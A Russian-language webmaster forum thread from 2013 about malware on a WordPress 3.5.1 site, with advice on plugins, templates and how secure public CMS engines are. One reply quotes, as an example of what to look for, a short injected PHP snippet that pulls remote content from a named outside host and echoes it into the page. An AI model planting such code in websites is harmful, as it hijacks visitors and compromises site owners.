Вирус на сайте!

Попробуйте еще такое могучее средство как почитать прилепленный топик ;)

---------- Добавлено 14.06.2013 в 18:45 ----------

какой плагин?

какой антивирус?

---------- Добавлено 14.06.2013 в 18:45 ----------

блин.. да это антивирусы для ПК а не для сервера...

---------- Добавлено 14.06.2013 в 18:46 ----------

Какая версия?

Какой шаблон?

Какие плагины стоят?

Или Вам экстрасенс нужен?

А этот сервис тут причем? По ссылкам которые вы прогнали должны находится исполняемые файлы и архивы, которые сервис и проверяет.

я начитаюсь таких тем и вообще боюсь с паблик движками связываться, это нормально?)

domen4you, очень зря. ВП 3.51 отличный движок в плане защищенности. А если еще чуть-чуть доработать, то вообще неубиваемый.

Только если Вы сами потом ставите холявный шаблон с инклюдами и дырявые никому не нужные плагины, то ни одна защита не поможет. Ни на каком движке. Или теряете пасс от ФТП. Или даете незнакомому дизайнеру доступ в С-панель.

---------- Добавлено 14.06.2013 в 21:20 ----------

Тут работает логика про еврейского портного. "Если я буду королем, то буду самым богатым королем. Так как все короли, а я еще буду немного шить".

Так же и с плагинами. Типа все на ВП, а у меня ВП и еще и плагин стоит, у меня ТИЦ будет до небес и ПР выше крыши. :) А на деле плагины - первая опасность.

адрес покажите

nok123, последний раз, когда я встречал сайт с подобным вердиктом от Яндекса, код выглядел вот так:

<?php
$urlpurs="http://montraf.ru/8308/take.html";
$beecode=@file_get_contents ($urlpurs);
echo "$beecode";
?>

Где точно находился не помню, вроде в хедере шаблона, однако далеко не факт, что у вас он будет выглядеть точно так же.

Но вообще вас правильно все послали в прикреплённый топик. Найдёте вы код, удалите, дальше что? Через неделю ведь снова появится, если причину взлома не устраните.

Спасибо всем откликнувшимся!

Версия WordPress 3.5.1

плагин Better WP Security (он не лечит, а устраняет пробелы в безопасности)

AntiVirus

А на паблик-авто по паблик-дорогам ездить не страшно?

"Непаблик" может быть защищен только тем, что никому не известен его код (и он сам - неуловимый Джо ;)). Однако даже общие методы взлома очень даже могут его "вскрыть".

Паблик же тем и хорош, что в случае обнаружения дыры она латается (насколько оперативно - тут уж зависит от разработчиков и\или энтузиастов).

В отношении ВП на сегодня, в текущей версии (3.5.1) не обнаружено ни одной серьёзной проблемы безопасности ядра (ок, если и кто-то обнаружил, то в паблике этой инфы нет)

Тем не менее в плагинах дыр достаточно. А видели ли вы ВП без плагинов?

Нет смысла спорить о безопасности паблик\непаблик движков. Но первые из за своей распостраненности более подвержены атакам.

Если бы типичный злоумышленник атаковал один сайт, то я бы поставил на паблик движок, что он окажется менее уязвимым.

Но типичный злоумышленник сейчас, это скрипт-киддис который купил время на бот-сети и скрипты для взлома паблик движков и\или плагинов к ним. И он не взламывает сайт, он обшаривает 1000 сайтов из которых находит 2-3 уязвимых для данных скриптов.

Бывает. Но не так часто, как об этом трубит школота. Я говорю об официальном источнике, а не помойках, откуда эта самая школота и подбирает всякую гадость.

Ветер дует потому что деревья качаются? :)

А может абсолютное число взломанных сайтов на паблике больше, чем на привате? Ессно! Но только потому что на привате один такой сайт (ну десяток), а на паблике - миллиарды. Будем говорить о корректности сравнения? ;)

Тут +1